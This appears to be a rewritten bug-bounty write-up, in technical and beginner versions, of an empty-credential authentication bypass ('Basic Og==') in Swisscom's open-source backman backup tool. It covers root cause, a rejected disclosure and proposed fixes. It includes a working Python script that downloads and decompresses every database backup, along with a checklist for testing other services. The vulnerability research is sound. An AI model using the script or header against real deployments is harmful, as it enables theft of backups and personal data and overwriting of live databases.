Skip to content
Access control Write-up Intermediate

How an Empty String Unlocked Every Database Backup in Swisscom’s Open-Source Project

The backman backup orchestrator defaults its HTTP Basic Auth username and password to empty strings, and its validator accepts an empty username and password pair. An attacker could send a Basic auth header that decodes to a single colon to authenticate as administrator and then list services, download backups containing plaintext PII, and trigger restores.

0xanubiis Follow

Published on medium.com

Bug Bounty

Aser Ahmed, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

swisscom/backman is an open-source backup orchestrator for Cloud Foundry data services, maintained by Swisscom. It automates backups of managed databases (Postgres, MongoDB, MySQL, Redis) into S3-compatible storage, and it exposes a Web API, a UI, Prometheus metrics and health endpoints. Because it orchestrates database dumps, it holds high-privilege credentials and has direct access to production data stores. The whole HTTP surface is meant to sit behind an HTTP Basic Authentication middleware.

The researcher audited the project's source, found a pre-authentication bypass rated Critical (CVSS 9.8) that grants full read/write access to the backup API, built a lab, wrote an exploit, exfiltrated plaintext PII, and submitted the result to the Swisscom Bug Bounty program. The report was rejected, not on technical grounds, but because the program draws a line between a software asset and an operated asset.

From the original on medium.com

Setup

The work was done against a self-built local instance of backman. The exploit requests in the report target [redacted]:9990, and the control test targets a second instance on [redacted]:9992. The precondition for the bypass is a deployment that leaves BACKMAN_USERNAME and BACKMAN_PASSWORD unset, as happens when backman is deployed using the documented defaults. The exfiltration script is written in Python and uses requests.

Finding it

When auditing Go web applications, the researcher starts with how authentication state is initialised and validated. Tracing from the configuration layer to the HTTP handlers exposed two linked problems: an insecure default and a validator that does not reject empty operands.

The source: insecure defaults (CWE-1188)

In config/config.go the application defines its default configuration struct:

Go
type Config struct {  Username string `json:"username"` Password string `json:"password"` }

In Go, uninitialised strings default to the empty string "". Later in the same file (config/config.go:311-317) the application tries to override these values from the environment variables BACKMAN_USERNAME and BACKMAN_PASSWORD, but only if they are set. If an operator deploys backman using the documented defaults, the configured username and password remain "".

The sink: the flawed validator (CWE-287)

The configured credentials flow into the authentication middleware. Backman uses the Echo web framework, and the validation logic is duplicated across four routers:

  • router/api/handler.go:39-44
  • router/ui/handler.go:65
  • router/health/handler.go:41
  • router/metrics/handler.go:40

The validation logic is:

Go
func checkAuth(username, password string) (bool, error) {  if subtle.ConstantTimeCompare([]byte(u), []byte(username)) == 1 && subtle.ConstantTimeCompare([]byte(p), []byte(password)) == 1 { return true, nil } return false, nil}

subtle.ConstantTimeCompare is the right primitive for preventing timing side-channels, but it is a plain byte-by-byte comparison and does not check for entropy. If the configured username and password are "" and the attacker supplies u="" and p="", the comparison returns true. There is no fail-fast guard that checks whether the configured secrets are empty, and no check that the presented credentials are non-empty.

Exploitation

Step 1: Craft the header

Echo's BasicAuth middleware base64-decodes the Authorization header and splits the payload on the first colon (:). Sending Authorization: Basic Og== decodes to a single colon, :. Splitting : yields an empty username (u="") and an empty password (p=""), which matches the empty configured values.

HTTP
GET /api/v1/services HTTP/1.1Host: [redacted]:9990Authorization: Basic Og==HTTP/1.1 200 OKContent-Type: application/json

The middleware accepts the request and the researcher is authenticated as the administrator.

From the original on medium.com

The authentication matrix shows the middleware is active: it rejects missing headers, wrong passwords and partial credentials. Only the exact empty:empty pair (Og==) gets through.

Step 2: Automate the chain

With authentication in place, the attacker has full control over the backup lifecycle. The researcher wrote a Python script to automate exfiltration:

Python
import base64, gzip, sys, requestsTARGET = sys.argv[1]H = {"Authorization": "Basic " + base64.b64encode(b":").decode()} s = requests.Session(); s.headers.update(H)services = s.get(f"{TARGET}/api/v1/services").json()for svc in services: name, stype = svc["Name"], svc["Type"]  files = s.get(f"{TARGET}/api/v1/backup/{stype}/{name}").json()["Files"]  for f in files:  d = s.get(f"{TARGET}/api/v1/backup/{stype}/{name}/{f['Filename']}/download")  plain = gzip.decompress(d.content) open(f"{name}_{f['Filename']}.sql", "wb").write(plain)

The script builds the Basic Og== header, enumerates services, lists the backup files for each service, downloads each file and decompresses it into a .sql file.

Step 3: Enumerate services and backups

GET /api/v1/services returns the entire inventory of managed databases, including connection types and cron schedules. GET /api/v1/backup/… lists the exact S3 object keys for every historical backup.

From the original on medium.com

The inventory includes the managed services customer_db and analytics_mongo.

From the original on medium.com

The backup listing shows the exact .gz backup files available for download.

Step 4: Exfiltrate plaintext data

Downloading the .gz file and piping it through gunzip yields a raw PostgreSQL dump. In the lab environment, the public.customers table contained what you would expect in a production dump:

SQL
COPY public.customers (id, full_name, email, ssn_last4, credit_card, account_balance) FROM stdin;1 Alice Berger [redacted] 4417 4111111111111111 18250.552 Bruno Keller [redacted] 9082 5500005555555559 431.003 Chiara Rossi [redacted] 1174 378282246310005 990213.10
From the original on medium.com

The recovered data includes names, emails, SSN fragments and credit card numbers.

Step 5: Integrity and availability

The API is not read-only. An attacker can trigger new backups, or use POST /api/v1/restore/… to overwrite a live production database with an attacker-chosen backup. Database dumps also frequently contain application secrets such as password hashes and API keys, which allows pivoting into the production environment while bypassing backman's audit logs.

Step 6: The control test

Triage teams often dismiss default-configuration bugs as deployment issues: the admin forgot to set a password. To pre-empt that, the researcher took the exact same compiled binary and started it with a backman.json configuration file that explicitly set a username and password.

Bash
$ curl -s -o /dev/null -w '%{http_code}\n' -u ':' http://[redacted]:9992/api/v1/services401 ← bypass GONE$ curl -s -o /dev/null -w '%{http_code}\n' -u 'admin:S3cret!' http://[redacted]:9992/api/v1/services200

With real credentials configured, the Og== bypass returns 401, while the configured credentials return 200. The bypass disappears the moment real credentials are set.

From the original on medium.com

This shows the root cause is CWE-1188 (Insecure Default Initialization of Resource) combined with a missing non-empty guard in the validation logic.

Root cause

The application ships with empty default credentials and only overrides them when the environment variables are present. The validator then compares the presented credentials against the configured ones with subtle.ConstantTimeCompare, which returns true for two empty byte slices. Neither layer rejects empty values: there is no startup check that refuses to boot without credentials, and no check in checkAuth that rejects empty operands before the comparison. The constant-time comparison is doing its job against timing attacks; it simply was never designed to enforce that secrets exist.

Impact

Under the default configuration, an unauthenticated attacker can read the full service inventory and every historical backup, download and decompress plaintext database dumps containing PII and secrets, trigger new backups, and overwrite a live production database via the restore endpoint. The researcher rates this Critical at CVSS 9.8. The impact applies to deployments that leave BACKMAN_USERNAME and BACKMAN_PASSWORD unset; the researcher's control test shows the bypass is gone once real credentials are configured.

Disclosure

The triage team (Dune, Swisscom) replied that the behaviour was shown only against a self-built local instance running with credentials left unset, that no Swisscom-operated backman deployment reachable with BACKMAN_USERNAME and BACKMAN_PASSWORD unset had been identified, and that real-world business impact on Swisscom was therefore not established. The researcher asked whether github.com/swisscom/backman is in scope as a software asset or whether the program is limited to Swisscom-operated deployments, arguing that the fix belongs in the source regardless of whether a live deployment is reachable. The final response stated that acknowledgement through the program follows a finding demonstrated against a Swisscom-operated asset, that the backman source is maintained as an open-source project, and that any change its maintainers choose to make would happen independently of the program and might not be attributed through it. The report was closed with no bounty and no CVE attribution through the program.

Fix

The author proposes two changes for the maintainers of swisscom/backman and for anyone writing Go HTTP auth middleware.

  1. Fail fast at startup. Never allow the application to boot into an insecure state by default:
Go
if cfg.Username == "" || cfg.Password == "" { if os.Getenv("BACKMAN_ALLOW_INSECURE") != "true" { log.Fatal("refusing to start: BACKMAN_USERNAME and BACKMAN_PASSWORD must both be set") } log.Warn("BACKMAN_ALLOW_INSECURE=true: HTTP authentication is Disabled")}
  1. Guard the validator. Reject empty operands before invoking constant-time comparisons:
Go
if username == "" || password == "" { return false, nil } if u == "" || p == "" { return false, nil }

For operators running backman in a Cloud Foundry environment, the author advises checking the configuration immediately, ensuring BACKMAN_USERNAME and BACKMAN_PASSWORD are explicitly set, or placing the service behind an IdP or reverse proxy that enforces authentication.

  • Other Go services using subtle.ConstantTimeCompare against configured credentials. Try Authorization: Basic Og== and other empty pairs. A positive result is a 200 on a protected endpoint where the configured values were never set.
  • Basic auth middleware that splits on the first colon. Send a header that decodes to a single colon, or to a username with no password. A positive result is authentication succeeding with an empty component.
  • Applications that only override defaults when environment variables are present. Deploy with the documented defaults and check whether protected endpoints respond without credentials. A positive result is any authenticated response from a fresh default deployment.
  • Duplicated auth logic across routers. Test every exposed surface (API, UI, health, metrics) with the same empty pair. A positive result is one router accepting what the others reject.
  • Restore and write endpoints behind the same middleware. After a bypass, check whether POST endpoints such as restore accept requests. A positive result is a state-changing action performed without valid credentials.

If you run swisscom/backman, check the configuration now: the code may be open source, but the data it backs up is yours to lose.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 23 min read.

What happened, in plain words

A security researcher looked at the source code of a free, open-source program called swisscom/backman. Backman is a tool that makes automatic copies (backups) of databases and stores those copies in cloud storage. The researcher found a way to log into backman's web interface without knowing any username or password at all. Once inside, a person could list every database the tool manages, download every backup file, read the personal data inside those backups, and even overwrite a live database with an old copy.

The trick was a single HTTP header containing the text Og==. That is the encoded form of a single colon character, which in turn means "empty username, empty password". The program's default settings leave the username and password empty, and its login check happily accepts an empty username and an empty password as a match.

The researcher rated the problem Critical, with a CVSS score of 9.8. CVSS is a standard scoring system for how serious a security flaw is; 9.8 is near the top of the scale. The researcher built a small test environment on their own computer, wrote a script to steal the data, and sent the whole story to Swisscom's bug bounty program. A bug bounty program is a scheme where a company pays people for reporting security problems in its systems.

Swisscom rejected the report. Not because the bug was fake, but because of a paperwork distinction: the program only rewards findings proven against a system that Swisscom actually runs, not against the source code of a project Swisscom publishes for anyone to use. The researcher got no money and no official CVE number through the program. A CVE is a public catalogue entry that gives a security flaw a permanent identifier.

From the original on medium.com

Background: what backman is and why it matters

Backman automates backups for managed databases. The databases it supports are Postgres, MongoDB, MySQL and Redis, four popular database systems. It saves the backups into S3-compatible storage. S3 is Amazon's cloud file storage service, and "S3-compatible" means other providers offer the same style of storage.

Backman offers several ways to interact with it over the network:

  • a Web API, which is a set of web addresses a program can call to make backman do things or return information;
  • a UI, a web page a human can click through;
  • Prometheus metrics, which are numbers about the program's health that a monitoring system called Prometheus collects;
  • health endpoints, simple web addresses that report whether the program is alive.

An API (Application Programming Interface) is best pictured as a restaurant menu: a fixed list of things you can ask for, each with its own name. You do not go into the kitchen; you order from the menu and food comes back. Here the "food" is data, and the "waiter" is the web server.

Because backman makes copies of databases, it holds powerful credentials: the usernames and passwords it needs to reach the databases and the storage. Credentials are simply proof of identity, like a key to a building. Anyone who gets into backman gets close to the production data itself. Production means the live systems real customers use, as opposed to test systems.

The whole web surface is supposed to sit behind HTTP Basic Authentication. That is a very old, very simple login method built into the web's main protocol, HTTP. The browser or script sends a header called Authorization containing the word Basic followed by a space and then the username and password joined by a colon and encoded in base64. Base64 is a way of writing arbitrary bytes using only ordinary letters, digits and a few symbols, so they can travel safely in text. It is encoding, not encryption: anyone can decode it instantly.

A header is a small line of extra information sent along with every web request or response, such as what kind of data you accept or who you claim to be. A middleware is a piece of code that every request must pass through before reaching the actual feature, like a receptionist who checks your badge before you enter the office.

Setting up the test

The researcher did all the work against a self-built local instance of backman. That means they downloaded the program and ran it on their own computer, not on Swisscom's servers. The exploit requests in the report target [redacted]:9990. The address [redacted] is the special address a computer uses to talk to itself (often called localhost), and 9990 is the port, a numbered door on that computer. The control test later targets a second instance on [redacted]:9992.

The precondition for the bypass is a deployment that leaves two environment variables unset: BACKMAN_USERNAME and BACKMAN_PASSWORD. An environment variable is a named setting stored outside the program, which the program reads when it starts. Think of it as a sticky note on the fridge that the program checks each morning. The report says deploying backman with the documented defaults leaves these values empty.

The exfiltration script is written in Python, a popular programming language, and uses a library called requests, which lets Python programs make web requests easily.

Finding it

When auditing Go web applications, the researcher starts with how authentication state is initialised and validated. Go is a programming language, and auditing means reading source code carefully looking for mistakes. Authentication is the process of proving who you are; authorisation is what you are then allowed to do. Tracing from the configuration layer to the HTTP handlers exposed two linked problems: an insecure default and a validator that does not reject empty operands. A handler is the piece of code that runs when a particular web address is requested. An operand is one of the values fed into a comparison.

The source: insecure defaults (CWE-1188)

In config/config.go the application defines its default configuration struct:

Go
type Config struct {  Username string `json:"username"` Password string `json:"password"` }

Line by line:

  • type Config struct { starts the definition of a new data type called Config. A struct is a bundle of named fields, like a form with boxes to fill in. This one is the program's settings form.
  • Username string declares a field called Username that holds text (a string is the programming term for text).
  • `json:"username"` is a tag telling Go that when this setting is read from or written to a JSON file, the field is called username. JSON is a common text format for structured data, looking like {"key": "value"}.
  • Password string declares a second text field called Password, tagged as password in JSON.
  • } closes the struct definition.

In Go, uninitialised strings default to the empty string "". An uninitialised value is one nobody has assigned anything to yet. Go fills it with a zero value, and for text the zero value is nothing at all. Later in the same file (config/config.go:311-317) the application tries to override these values from the environment variables BACKMAN_USERNAME and BACKMAN_PASSWORD, but only if they are set. If an operator deploys backman using the documented defaults, the configured username and password remain "".

This is the first half of the bug, and it has a name: CWE-1188, Insecure Default Initialization of Resource. CWE is a public catalogue of weakness types, and this entry means "the program starts in an unsafe state unless someone actively changes it". The everyday comparison: a new safe that ships with the combination set to 0-0-0. It is not broken, but it is open to anyone who reads the manual.

The sink: the flawed validator (CWE-287)

The configured credentials flow into the authentication middleware. Backman uses the Echo web framework, a toolkit for building web servers in Go, and the validation logic is duplicated across four routers:

  • router/api/handler.go:39-44
  • router/ui/handler.go:65
  • router/health/handler.go:41
  • router/metrics/handler.go:40

A router decides which handler runs for which address. "Duplicated" means the same check was copy-pasted into four places, so a mistake in it appears four times.

The validation logic is:

Go
func checkAuth(username, password string) (bool, error) {  if subtle.ConstantTimeCompare([]byte(u), []byte(username)) == 1 && subtle.ConstantTimeCompare([]byte(p), []byte(password)) == 1 { return true, nil } return false, nil}

Line by line:

  • func checkAuth(username, password string) (bool, error) { defines a function called checkAuth that takes two text arguments, username and password, and returns two values: a bool (true or false) and an error (a possible error message).
  • if subtle.ConstantTimeCompare([]byte(u), []byte(username)) == 1 && subtle.ConstantTimeCompare([]byte(p), []byte(password)) == 1 { is the actual check. subtle.ConstantTimeCompare is a Go library function that compares two chunks of bytes and returns 1 if they are identical, 0 otherwise. []byte(...) converts text into raw bytes. u and p are the username and password the visitor sent. && means "and", so both comparisons must succeed.
  • return true, nil means "login accepted, no error". nil is Go's way of saying "nothing".
  • return false, nil means "login rejected, no error".
  • } closes the function.

subtle.ConstantTimeCompare is the right primitive for preventing timing side-channels. A timing side-channel is an information leak through how long something takes: a naive comparison stops at the first wrong character, so a fast rejection tells an attacker the first character was wrong. Constant-time comparison always takes the same time regardless of where the difference is, so it leaks nothing. But it is a plain byte-by-byte comparison and does not check for entropy. Entropy here means "is there actually any secret content in this value at all".

If the configured username and password are "" and the attacker supplies u="" and p="", the comparison returns true. Two empty things are, after all, identical. There is no fail-fast guard that checks whether the configured secrets are empty, and no check that the presented credentials are non-empty. A fail-fast guard is a check that stops the program early, at startup, rather than letting it run in a bad state.

Exploitation

Step 1: Craft the header

Echo's BasicAuth middleware base64-decodes the Authorization header and splits the payload on the first colon (:). Sending Authorization: Basic Og== decodes to a single colon, :. Splitting : yields an empty username (u="") and an empty password (p=""), which matches the empty configured values.

HTTP
GET /api/v1/services HTTP/1.1Host: [redacted]:9990Authorization: Basic Og==HTTP/1.1 200 OKContent-Type: application/json

Line by line:

  • GET /api/v1/services HTTP/1.1 is the request line. GET is the HTTP method meaning "give me something". /api/v1/services is the address being asked for, the services list. HTTP/1.1 is the protocol version.
  • Host: [redacted]:9990 says which server is being contacted: this computer, port 9990.
  • Authorization: Basic Og== is the login header. Basic names the scheme, and Og== is the base64 text.
  • HTTP/1.1 200 OK is the start of the response. 200 is the HTTP status code for success.
  • Content-Type: application/json says the response body is JSON.

The middleware accepts the request and the researcher is authenticated as the administrator. In other words, the program believed the visitor was the admin, even though no real password was ever supplied.

From the original on medium.com

The authentication matrix shows the middleware is active: it rejects missing headers, wrong passwords and partial credentials. Only the exact empty:empty pair (Og==) gets through. A matrix here is a table of test cases and their results, which is useful because it proves the login check is not simply switched off.

Step 2: Automate the chain

With authentication in place, the attacker has full control over the backup lifecycle. The researcher wrote a Python script to automate exfiltration. Exfiltration means copying data out of a system without permission.

Python
import base64, gzip, sys, requestsTARGET = sys.argv[1]H = {"Authorization": "Basic " + base64.b64encode(b":").decode()} s = requests.Session(); s.headers.update(H)services = s.get(f"{TARGET}/api/v1/services").json()for svc in services: name, stype = svc["Name"], svc["Type"]  files = s.get(f"{TARGET}/api/v1/backup/{stype}/{name}").json()["Files"]  for f in files:  d = s.get(f"{TARGET}/api/v1/backup/{stype}/{name}/{f['Filename']}/download")  plain = gzip.decompress(d.content) open(f"{name}_{f['Filename']}.sql", "wb").write(plain)

Line by line:

  • import base64, gzip, sys, requests loads four helper libraries: base64 for encoding, gzip for decompressing, sys for reading command-line arguments, and requests for making web requests.
  • TARGET = sys.argv[1] takes the first argument typed after the script name and stores it as the target address. So the script is run like python script.py http://[redacted]:9990.
  • H = {"Authorization": "Basic " + base64.b64encode(b":").decode()} builds the login header. b":" is the single colon as raw bytes, base64.b64encode turns it into Og==, and .decode() turns the result back into text. The header value becomes Basic Og==.
  • s = requests.Session(); s.headers.update(H) creates a session, which is a reusable connection that remembers settings, and attaches the header to every request it makes. A session is like keeping the same phone line open instead of dialling again each time.
  • services = s.get(f"{TARGET}/api/v1/services").json() asks for the services list and parses the JSON reply into Python data.
  • for svc in services: loops over each service in that list.
  • name, stype = svc["Name"], svc["Type"] pulls out the service's name and type.
  • files = s.get(f"{TARGET}/api/v1/backup/{stype}/{name}").json()["Files"] asks for the backup list of that service and keeps the Files part.
  • for f in files: loops over each backup file.
  • d = s.get(f"{TARGET}/api/v1/backup/{stype}/{name}/{f['Filename']}/download") downloads one backup file.
  • plain = gzip.decompress(d.content) unpacks the compressed bytes. gzip is a compression format, like zipping a folder to make it smaller.
  • open(f"{name}_{f['Filename']}.sql", "wb").write(plain) writes the unpacked data to a local file named after the service and the backup, with the .sql extension. "wb" means write in binary mode.

The script builds the Basic Og== header, enumerates services, lists the backup files for each service, downloads each file and decompresses it into a .sql file. Enumerate means to list things one by one.

Step 3: Enumerate services and backups

GET /api/v1/services returns the entire inventory of managed databases, including connection types and cron schedules. A cron schedule is a timetable for automatic jobs, such as "every night at 2 am". GET /api/v1/backup/… lists the exact S3 object keys for every historical backup. An object key is the unique name of a file inside S3 storage, like a full file path.

From the original on medium.com

The inventory includes the managed services customer_db and analytics_mongo. The names alone hint at what they hold: customer data and analytics data.

From the original on medium.com

The backup listing shows the exact .gz backup files available for download. .gz is the file extension for gzip-compressed files.

Step 4: Exfiltrate plaintext data

Downloading the .gz file and piping it through gunzip yields a raw PostgreSQL dump. PostgreSQL is a popular database system, and a dump is a complete export of a database's contents. Plaintext means unencrypted, readable by anyone. gunzip is the command-line tool that unpacks gzip files, and "piping" means feeding the output of one command into another.

In the lab environment, the public.customers table contained what you would expect in a production dump. A table is a grid of rows and columns inside a database, like a spreadsheet.

SQL
COPY public.customers (id, full_name, email, ssn_last4, credit_card, account_balance) FROM stdin;1 Alice Berger [redacted] 4417 4111111111111111 18250.552 Bruno Keller [redacted] 9082 5500005555555559 431.003 Chiara Rossi [redacted] 1174 378282246310005 990213.10

Line by line:

  • COPY public.customers (id, full_name, email, ssn_last4, credit_card, account_balance) FROM stdin; is a PostgreSQL instruction that loads rows into the customers table from standard input. It names the columns: an ID, a full name, an email, the last four digits of a Social Security number, a credit card number, and an account balance.
  • 1 Alice Berger [redacted] 4417 4111111111111111 18250.55 is the first row: ID 1, a name, an email, an SSN fragment, a card number and a balance.
  • 2 Bruno Keller [redacted] 9082 5500005555555559 431.00 is the second row.
  • 3 Chiara Rossi [redacted] 1174 378282246310005 990213.10 is the third row.
From the original on medium.com

The recovered data includes names, emails, SSN fragments and credit card numbers. PII, personally identifiable information, is any data that can identify a real person. The report notes this was recovered in the researcher's lab environment.

Step 5: Integrity and availability

The API is not read-only. An attacker can trigger new backups, or use POST /api/v1/restore/… to overwrite a live production database with an attacker-chosen backup. POST is the HTTP method used to send data and cause a change, as opposed to GET which only asks for data. Integrity means data has not been tampered with, and availability means the service keeps working. Overwriting a live database damages both.

Database dumps also frequently contain application secrets such as password hashes and API keys, which allows pivoting into the production environment while bypassing backman's audit logs. A password hash is a scrambled form of a password that is meant to be hard to reverse. An API key is a long secret string that lets a program act on your behalf. Pivoting means using one foothold to reach further systems. Audit logs are records of who did what and when; bypassing them means the attacker's actions leave no trace in backman.

Step 6: The control test

Triage teams often dismiss default-configuration bugs as deployment issues: the admin forgot to set a password. Triage is the first review a report gets. To pre-empt that, the researcher took the exact same compiled binary and started it with a backman.json configuration file that explicitly set a username and password. A binary is the ready-to-run program file. A configuration file is a text file of settings the program reads at startup.

Bash
$ curl -s -o /dev/null -w '%{http_code}\n' -u ':' http://[redacted]:9992/api/v1/services401 ← bypass GONE$ curl -s -o /dev/null -w '%{http_code}\n' -u 'admin:S3cret!' http://[redacted]:9992/api/v1/services200

Line by line:

  • $ is the shell prompt, meaning "type the rest of this line".
  • curl is a command-line tool for making web requests.
  • -s makes curl quiet, hiding progress output.
  • -o /dev/null throws the response body away instead of printing it.
  • -w '%{http_code}\n' prints only the HTTP status code followed by a newline.
  • -u ':' supplies a username and password separated by a colon. Here both are empty, which is exactly the Og== trick.
  • http://[redacted]:9992/api/v1/services is the address being tested, on the second instance.
  • 401 is the HTTP status code for "not authorised". The comment ← bypass GONE records that the trick no longer works.
  • The second command is identical except -u 'admin:S3cret!' supplies a real username and password, and the result is 200, meaning success.

With real credentials configured, the Og== bypass returns 401, while the configured credentials return 200. The bypass disappears the moment real credentials are set.

From the original on medium.com

This shows the root cause is CWE-1188 (Insecure Default Initialization of Resource) combined with a missing non-empty guard in the validation logic. The root cause is the underlying mistake that produces the visible symptom.

Root cause

The application ships with empty default credentials and only overrides them when the environment variables are present. The validator then compares the presented credentials against the configured ones with subtle.ConstantTimeCompare, which returns true for two empty byte slices. Neither layer rejects empty values: there is no startup check that refuses to boot without credentials, and no check in checkAuth that rejects empty operands before the comparison. The constant-time comparison is doing its job against timing attacks; it simply was never designed to enforce that secrets exist.

Impact

Under the default configuration, an unauthenticated attacker can read the full service inventory and every historical backup, download and decompress plaintext database dumps containing PII and secrets, trigger new backups, and overwrite a live production database via the restore endpoint. The researcher rates this Critical at CVSS 9.8. The impact applies to deployments that leave BACKMAN_USERNAME and BACKMAN_PASSWORD unset; the researcher's control test shows the bypass is gone once real credentials are configured.

Disclosure

The report was submitted to the Swisscom Bug Bounty program with the CWE-287/CWE-1188 flaw, the CVSS 9.8 score and the full exfiltration chain. Disclosure is the process of telling the affected party about a flaw. The triage team (Dune, Swisscom) replied that the behaviour was shown only against a self-built local instance running with credentials left unset, that no Swisscom-operated backman deployment reachable with BACKMAN_USERNAME and BACKMAN_PASSWORD unset had been identified, and that real-world business impact on Swisscom was therefore not established.

The researcher asked whether github.com/swisscom/backman is in scope as a software asset or whether the program is limited to Swisscom-operated deployments, arguing that the fix belongs in the source regardless of whether a live deployment is reachable. Scope is the boundary of what a program promises to reward. A software asset is a piece of code the company publishes; an operated asset is a system the company actually runs.

The final response stated that acknowledgement through the program follows a finding demonstrated against a Swisscom-operated asset, that the backman source is maintained as an open-source project, and that any change its maintainers choose to make would happen independently of the program and might not be attributed through it. The report was closed with no bounty and no CVE attribution through the program.

Fix

The author proposes two changes for the maintainers of swisscom/backman and for anyone writing Go HTTP auth middleware.

  1. Fail fast at startup. Never allow the application to boot into an insecure state by default:
Go
if cfg.Username == "" || cfg.Password == "" { if os.Getenv("BACKMAN_ALLOW_INSECURE") != "true" { log.Fatal("refusing to start: BACKMAN_USERNAME and BACKMAN_PASSWORD must both be set") } log.Warn("BACKMAN_ALLOW_INSECURE=true: HTTP authentication is Disabled")}

Line by line:

  • if cfg.Username == "" || cfg.Password == "" { checks whether either configured value is empty. || means "or".
  • if os.Getenv("BACKMAN_ALLOW_INSECURE") != "true" { checks whether the operator has not explicitly set an escape hatch. os.Getenv reads an environment variable, and != means "not equal".
  • log.Fatal("refusing to start: BACKMAN_USERNAME and BACKMAN_PASSWORD must both be set") prints the message and stops the program. log.Fatal is Go's "print and exit" function.
  • } closes the inner check.
  • log.Warn("BACKMAN_ALLOW_INSECURE=true: HTTP authentication is Disabled") prints a loud warning if the operator chose to run without authentication anyway.
  • } closes the outer check.
  1. Guard the validator. Reject empty operands before invoking constant-time comparisons:
Go
if username == "" || password == "" { return false, nil } if u == "" || p == "" { return false, nil }

Line by line:

  • if username == "" || password == "" { return false, nil } rejects the login if the configured username or password is empty, before any comparison happens.
  • if u == "" || p == "" { return false, nil } rejects the login if the visitor sent an empty username or password.

For operators running backman in a Cloud Foundry environment, the author advises checking the configuration immediately, ensuring BACKMAN_USERNAME and BACKMAN_PASSWORD are explicitly set, or placing the service behind an IdP or reverse proxy that enforces authentication. Cloud Foundry is a platform for running applications in the cloud. An IdP (identity provider) is a central login service, and a reverse proxy is a server that sits in front of your application and can enforce rules before requests reach it.

Variants to test

  • Other Go services using subtle.ConstantTimeCompare against configured credentials. Try Authorization: Basic Og== and other empty pairs. A positive result is a 200 on a protected endpoint where the configured values were never set.
  • Basic auth middleware that splits on the first colon. Send a header that decodes to a single colon, or to a username with no password. A positive result is authentication succeeding with an empty component.
  • Applications that only override defaults when environment variables are present. Deploy with the documented defaults and check whether protected endpoints respond without credentials. A positive result is any authenticated response from a fresh default deployment.
  • Duplicated auth logic across routers. Test every exposed surface (API, UI, health, metrics) with the same empty pair. A positive result is one router accepting what the others reject.
  • Restore and write endpoints behind the same middleware. After a bypass, check whether POST endpoints such as restore accept requests. A positive result is a state-changing action performed without valid credentials.

If you run swisscom/backman, check the configuration now: the code may be open source, but the data it backs up is yours to lose.

Glossary

  • API: a fixed list of web addresses a program can call to make another program do things or return data, like a menu you order from.
  • Audit: to read source code carefully, looking for mistakes.
  • Audit logs: records of who did what and when inside a system.
  • Authentication: proving who you are.
  • Authorisation: what you are allowed to do once identified.
  • Availability: the property that a service keeps working for its users.
  • Backup: a copy of data kept so it can be restored if the original is lost or damaged.
  • Base64: an encoding that turns raw bytes into ordinary text characters; it hides nothing and anyone can decode it.
  • Basic Authentication: a simple HTTP login method where the username and password are joined by a colon, base64-encoded and sent in the Authorization header.
  • Binary: the ready-to-run program file produced by compiling source code.
  • Bool: a value that is either true or false.
  • Bug bounty program: a scheme where a company pays people for reporting security problems in its systems.
  • Cloud Foundry: a platform for running applications in the cloud.
  • Configuration file: a text file of settings a program reads when it starts.
  • Constant-time comparison: a comparison that always takes the same time regardless of where two values differ, so it leaks nothing through timing.
  • Credentials: proof of identity, such as a username and password.
  • Cron schedule: a timetable for automatic jobs, such as "every night at 2 am".
  • CVSS: a standard scoring system for how serious a security flaw is; 9.8 is near the top of the scale.
  • CVE: a public catalogue entry that gives a security flaw a permanent identifier.
  • CWE: a public catalogue of weakness types, such as CWE-1188 (insecure default) and CWE-287 (improper authentication).
  • Disclosure: the process of telling the affected party about a flaw.
  • Dump: a complete export of a database's contents.
  • Entropy: here, whether a value actually contains any secret content at all.
  • Enumerate: to list things one by one.
  • Environment variable: a named setting stored outside a program, which the program reads when it starts, like a sticky note on the fridge.
  • Exfiltration: copying data out of a system without permission.
  • Fail-fast guard: a check that stops a program early, at startup, rather than letting it run in a bad state.
  • GET: the HTTP method meaning "give me something".
  • Go: a programming language, often used for web servers.
  • gzip: a compression format that makes files smaller; .gz is its file extension.
  • Handler: the piece of code that runs when a particular web address is requested.
  • Header: a small line of extra information sent with every web request or response.
  • HTTP: the protocol browsers and servers use to exchange web requests and responses.
  • IdP (identity provider): a central login service that other applications trust.
  • Integrity: the property that data has not been tampered with.
  • JSON: a common text format for structured data, looking like {"key": "value"}.
  • Localhost / [redacted]: the special address a computer uses to talk to itself.
  • Middleware: code every request must pass through before reaching the actual feature, like a receptionist checking badges.
  • Object key: the unique name of a file inside S3 storage, like a full file path.
  • Operand: one of the values fed into a comparison.
  • Operated asset: a system the company actually runs.
  • PII (personally identifiable information): any data that can identify a real person.
  • Pivoting: using one foothold to reach further systems.
  • Plaintext: unencrypted, readable by anyone.
  • Port: a numbered door on a computer that a service listens on.
  • POST: the HTTP method used to send data and cause a change.
  • Production: the live systems real customers use, as opposed to test systems.
  • Prometheus: a monitoring system that collects numeric metrics from programs.
  • Python: a popular programming language.
  • Reverse proxy: a server that sits in front of an application and can enforce rules before requests reach it.
  • Root cause: the underlying mistake that produces the visible symptom.
  • Router: the part of a web server that decides which handler runs for which address.
  • S3: Amazon's cloud file storage service; "S3-compatible" means other providers offer the same style of storage.
  • Scope: the boundary of what a bug bounty program promises to reward.
  • Session: a reusable connection that remembers settings across several requests, like keeping the same phone line open.
  • Software asset: a piece of code the company publishes, as opposed to a system it runs.
  • String: the programming term for text.
  • Struct: a bundle of named fields in Go, like a form with boxes to fill in.
  • Table: a grid of rows and columns inside a database, like a spreadsheet.
  • Timing side-channel: an information leak through how long an operation takes.
  • Triage: the first review a security report gets.
  • UI: a web page a human can click through.
  • Uninitialised: a value nobody has assigned anything to yet; in Go, text defaults to the empty string.

More by 0xanubiis

View all

3 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.